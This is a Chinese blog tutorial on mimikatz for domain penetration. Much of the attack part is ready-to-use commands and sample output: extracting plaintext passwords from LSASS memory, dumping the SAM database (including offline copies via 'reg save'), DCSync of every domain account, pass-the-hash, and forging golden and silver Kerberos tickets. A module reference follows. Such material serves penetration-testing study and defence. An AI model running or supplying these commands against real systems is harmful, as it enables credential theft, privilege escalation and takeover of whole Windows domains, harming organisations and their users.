mimikatz的使用

mimikatz非常出名,在域渗透中也用得很多,这里来系统学习一下。

常用操作

从lsass的内存中提取明文密码

1
"log" "privilege::debug" "sekurlsa::logonpasswords" "exit"

dump SAM数据库

1
2
3
4
5
6
7
8
9
# 在线,可以使用token::whoami 来模拟系统令牌
"privilege::debug" "token::elevate" "lsadump::sam" "exit"

# 离线
# 先备份SYSTEM和SAM数据库
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

"lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv" "exit"

查看ntds.dit与sam文件的信息,如果没有查看ntds.dit的就只查看sam

1
"privilege::debug" "lsadump::lsa /patch" "exit"

dcsync同步域控账户数据

1
2
3
4
5
# 列出指定用户的密码信息
"lsadump::dcsync /domain:hackme.com /user:administrator" "exit"

# 列出所有用户的账户密码
"lsadump::dcsync /domain:hackme.com /all /csv" "exit"

哈希传递

1
"sekurlsa::pth /user:Administrateur /domain:hackme.com /ntlm:cc36cf7a8514893efccd332446158b1a"

制作黄金票据并导入

1
2
3
4
5
6
# 需要以下信息:域名、域sid、krbtgt哈希值,伪造的用户
whoami /user # 获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation # 查看所处域

# 利用mimikatz生成黄金票据,并导入
"kerberos::purge" "kerberos::golden /user:Administrator /domain:hackme.com /sid:S-1-5-21-352500431-3709684021-2404362605 /krbtgt:46ff2921e1cbc03aa37acf91b8afe9df /ticket:golden.kirbi" "kerberos::ptt golden.kirbi"

制作白银票据并导入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 所需条件:域名、域sid、目标服务器名、可利用的服务、服务账号的NTML HASH 、需要伪造的用户名

# 伪造共享文件夹服务(cifs)权限
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt
# 访问共享文件服务
dir \\dc\c$


#伪造LDAP服务权限
如果已经获取DC机器账户的哈希值,便可以使用银票访问其LDAP服务,执行mimikatz的DCSync,以获取krbtgt用户的hash,进而制作黄金票据
# 制作票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:ldap /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt
# 执行dcsync
lsadump::dcsync /domain:hackme.com /user:krbtgt

mimikatz的各个模块

mimikatz分为以下模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
standard        # mimikatz的主要模块,它包含使用该工具进行操作的快速命令。
# Commands: exit, cls, answer, coffe, sleep, log, base64, version, cd

privilege # 提供了一些命令来操作 mimikatz 进程的权限
# Commands: debug

crypto # 加密相关模块
# Commands: providers, stores, sc, scauth, certificates, keys, capi, cng

sekurlsa # 该模块从lsass的内存中提取密码,密钥,密码,票证
# Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords
# msv, wdigest, kerberos, tspkg, livessp, ssp, credman

kerberos # kerberos票据相关
# Commands: ptt, golden / silver, list, tgt, purge

lsadump # 用于与Windows本地安全验证(Windows Local Security Authority, LSA)进程进行交互来提取凭证数据
# Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync

vault # Windows证书模块
# Commands: list, cred

token # 令牌操作模块
# Commands: whoami, list, elevate, revert

event # 事件模块
# Commands: drop, clear

ts # 终端服务器模块
# Commands: multirdp

process # 进程相关模
# Commands: list, exports, imports, start, stop, suspend, resume

service # 服务相关模块
# Commands: start, remove, stop, suspend, resume, preshutdown, shutdown, list

net #
# Commands: user, localgroup, group

misc # 杂项模块
# Commands: cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton

常使用模块

standard

这是mimikatz的主要模块,它包含使用该工具进行操作的快速命令。对于standard模块,不需要用模块名称作为命令的前缀,例如:exitstandard::exit相同。

Commands: exit, cls, answer, coffe, sleep, log, base64, version, cd

**log**:将所有输出记录到文件(默认情况下为mimikatz.log

参数:

  • filename - 可选,指定日志文件
  • /stop - 可选,停止日志
1
2
3
4
5
6
7
8
mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # log other.log
Using 'other.log' for logfile : OK

mimikatz # log /stop
Using '(null)' for logfile : OK

**base64**:对写入磁盘上的文件,形式切换为Base64

**cd**:更改或显示当前目录

1
2
3
4
5
6
mimikatz # cd
C:\security\mimikatz\mimikatz

mimikatz # cd x:\vm
Old: C:\security\mimikatz\mimikatz
New: x:\vm

privilege

**debug**:请求 mimikatz 进程的调试权限。调试权限允许用户调试他们原本无法访问的进程。

1
2
mimikatz # privilege::debug
Privilege '20' OK

sekurlsa

该模块从lsass的内存中提取密码,密钥,密码,票证

Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords, msv, wdigest, kerberos, tspkg, livessp, ssp, credman

在使用lsass进程时,mimikatz需要特定的权限:

  • Administrator用户,可以通过privilege::debug获取debug权限
  • SYSTEM账户,此时可以不需要debug权限

**logonpasswords**:获登录用户信息及密码

**pth**:哈希传递
mimikatz 可以执行“传递哈希”,使用用户密码的 NTLM 哈希运行进程。

1
2
3
4
5
6
7
# 参数
/user # 要模拟的用户名。
/domain # 完全限定的域名。没有域,或者对于本地用户/管理员,请使用计算机或服务器名称.
/rc4 or /ntlm # 可选 - 密码的RC4值/NTLM hash.
/aes128 # 可选,the AES128 key derived from the user's password and the realm of the domain.
/aes256 # 可选,the AES256 key derived from the user's password and the realm of the domain.
/run # 可选,要运行的命令行,默认值为:cmd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user : Administrateur
domain : chocolate.local
program : cmd.exe
NTLM : cc36cf7a8514893efccd332446158b1a
| PID 712
| TID 300
| LUID 0 ; 362544 (00000000:00058830)
\_ msv1_0 - data copy @ 000F8AF4 : OK !
\_ kerberos - data copy @ 000E23B8
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ des_cbc_md5 -> null
\_ des_cbc_crc -> null
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace -> null

注意: 需要提升权限(privilege::debug或SYSTEM帐户)

**tickets**:列出并导出所有会话的 Kerberos 票据。

kerberos::list不同,sekurlsa使用内存读取,不受密钥导出限制。sekurlsa可以访问其他会话(用户)的票据。

1
2
# 参数
/export # 可选,将票据导出到.kirbi文件中,They start with user's LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT)

**ekeys**:显示 Kerberos 加密密钥。
**dpapi**:显示内存中的 MasterKeys

**minidump**:读取已经dump的内存信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 88038 (00000000:000157e6)
Session : Interactive from 1
User Name : Gentil Kiwi
Domain : vm-w7-ult
SID : S-1-5-21-2044528444-627255920-3055224092-1000
msv :
[00000003] Primary
* Username : Gentil Kiwi
* Domain : vm-w7-ult
* LM : d0e9aee149655a6075e4540af1f22d3b
* NTLM : cc36cf7a8514893efccd332446158b1a
* SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
...

kerberos

kerberos模块无需任何权限即可使用,它使用官方的Microsoft Kerberos API。

Commands: ptt, golden/silver, list, tgt, purge

**ptt**:票据传递,在当前会话中注入一个或多个 Kerberos 票据

1
2
3
# 参数
filename # 票据文件名,可以是多个
diretory # 票据所在文件夹,该文件夹下所有的 .kirbi 文件都会被注入

**golden/silver**:为任何用户/用户组创建 Kerberos 票证、TGT 或具有任意数据的 TGS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 参数

## common
/domain # 完全限定的域名 (eg: chocolate.local).
/sid # 域名的SID (eg: S-1-5-21-130452501-2365100805-3685010670).
/user # 要模拟的用户名.
/id # 可选,the id of the user,default is: 500 for the well-known Administrator.
/groups # 可选,id of groups the user belongs (first is primary group, comma separator) - default is: 513,512,520,518,519 for the well-known Administrator's groups.

## key
# 对于黄金票据,需要krbtgt账户的hash;
# 对于白银票据, 需要机器账户或者服务账户的票据("computer account" or "service account"
/rc4 or /krbtgt # the NTLM hash
/aes128 # the AES128 key
/aes256 #the AES256 key‘


## 白银票据的Target & Service
/target # the server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
/service # The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)

## 生成票据的下一步
/ticket # optional - filename for output the ticket - default is: ticket.kirbi.
/ptt # no output in file, just inject the golden ticket in current session.

1
2
3
4
5
# 生成黄金票据
kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi

# 生成白银票据并导入
kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt

**tgt**:显示有关当前会话的 TGT 的信息

**list**:列出并导出当前会话的 Kerberos 票据(TGT 和 TGS)

1
2
# 参数:
/export # 可选,将所有票证导出到文件

**purge**:清除当前会话的所有票证

lsadump

lsadump 模块用于与 Windows 本地安全验证(Windows Local Security Authority )(LSA) 进程进行交互来提取凭证数据。这个模块的大多数命令都需要 Debug 权限或者是 SYSTEM 权限。

Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync

**sam**:dump SAM数据库,它包含用户密码的 NTLM。

它可以在两种模式下工作:

  • 在线,使用SYSTEM用户或令牌
  • 离线,使用系统和SAM配置单元或备份
1
2
3
4
5
6
7
8
9
10
11
# 在线,可以使用token::whoami 来模拟系统令牌
privilege::debug
token::elevate
lsadump::sam

# 离线
# 先备份SYSTEM和SAM数据库
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

**lsa**:通过询问LSA服务器从内存中提取哈希

1
2
3
4
5
# 参数:
/inject # 可选,注入 LSASS 进程提取凭证数据
/name # 可选,目标用户账户的帐户名称
/id # 可选,目标用户账户的 RID
/patch # 可选,补丁 LSASS 进程

**dcsync**:向 DC 发起同步一个对象(获取帐户的密码数据)的质询。

运行 DCSync 所要求的特殊权限有管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器计算机帐户的任何成员。需要注意的是只读域控制器默认是不允许读取用户密码数据的。

1
2
3
4
5
6
# 参数:
/all # 获取所有用户
/user # 要拉取数据的用户
/domain # 可选,Active Directory域的全限定域名,Mimikatz会发现域中的一个DC并去连接。如果不提供该参数,Mimikatz会默认设置为当前域。
/dc # 可选,指定你想要使用DCSync连接并收集数据的域控制器。
/csv # 可选,以格式化形式显示

token

Token 模块能够与 Windows 身份验证令牌进行交互,包括抓取,伪造假冒的已存在的令牌

Commands: whoami, list, elevate, revert

**whoami**:显示当前身份
elevate :假冒令牌。用于提升权限至 SYSTEM 权限(默认)或者使用 Windows API 找到域管理员令牌

process

process 模块提供了收集进程的数据和与进程进行交互的功能

Commands: list, exports, imports, start, stop, suspend, resume

ts

终端服务器模块

**sessions **:显示当前对话
**multirdp**:允许多个用户使用rdp

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2023/04/30/内网渗透/mimikatz/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog